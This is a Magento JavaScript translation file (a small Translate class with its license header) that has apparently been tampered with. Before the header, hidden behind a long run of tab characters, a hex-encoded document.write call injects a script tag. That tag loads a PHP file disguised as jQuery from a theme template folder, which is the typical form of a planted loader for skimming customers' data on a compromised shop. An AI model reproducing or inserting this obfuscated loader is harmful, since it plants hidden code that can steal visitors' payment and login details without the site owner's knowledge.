																																																																							document.write("\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x61\x70\x70\x2F\x64\x65\x73\x69\x67\x6E\x2F\x66\x72\x6F\x6E\x74\x65\x6E\x64\x2F\x72\x75\x6E\x63\x6C\x6F\x6E\x70\x68\x6F\x74\x6F\x73\x2E\x63\x6F\x6D\x2F\x69\x70\x68\x6F\x6E\x65\x2F\x74\x65\x6D\x70\x6C\x61\x74\x65\x2F\x63\x75\x73\x74\x6F\x6D\x65\x72\x2F\x61\x63\x63\x6F\x75\x6E\x74\x2F\x6A\x71\x75\x65\x72\x79\x2D\x62\x70\x2E\x70\x68\x70\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E");/**
 * Magento
 *
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Academic Free License (AFL 3.0)
 * that is bundled with this package in the file LICENSE_AFL.txt.
 * It is also available through the world-wide-web at this URL:
 * http://opensource.org/licenses/afl-3.0.php
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@magentocommerce.com so we can send you a copy immediately.
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade Magento to newer
 * versions in the future. If you wish to customize Magento for your
 * needs please refer to http://www.magentocommerce.com for more information.
 *
 * @category    Mage
 * @package     js
 * @copyright   Copyright (c) 2009 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
 * @license     http://opensource.org/licenses/afl-3.0.php  Academic Free License (AFL 3.0)
 */

var Translate = Class.create();
Translate.prototype = {
    initialize: function(data){
        this.data = $H(data);
    },

    translate : function(){
        var args = arguments;
        var text = arguments[0];

        if(this.data.get(text)){
            return this.data.get(text);
        }
        return text;
    },
    add : function() {
        if (arguments.length > 1) {
            this.data.set(arguments[0], arguments[1]);
        } else if (typeof arguments[0] =='object') {
            $H(arguments[0]).each(function (pair){
                this.data.set(pair.key, pair.value);
            }.bind(this));
        }
    }
}
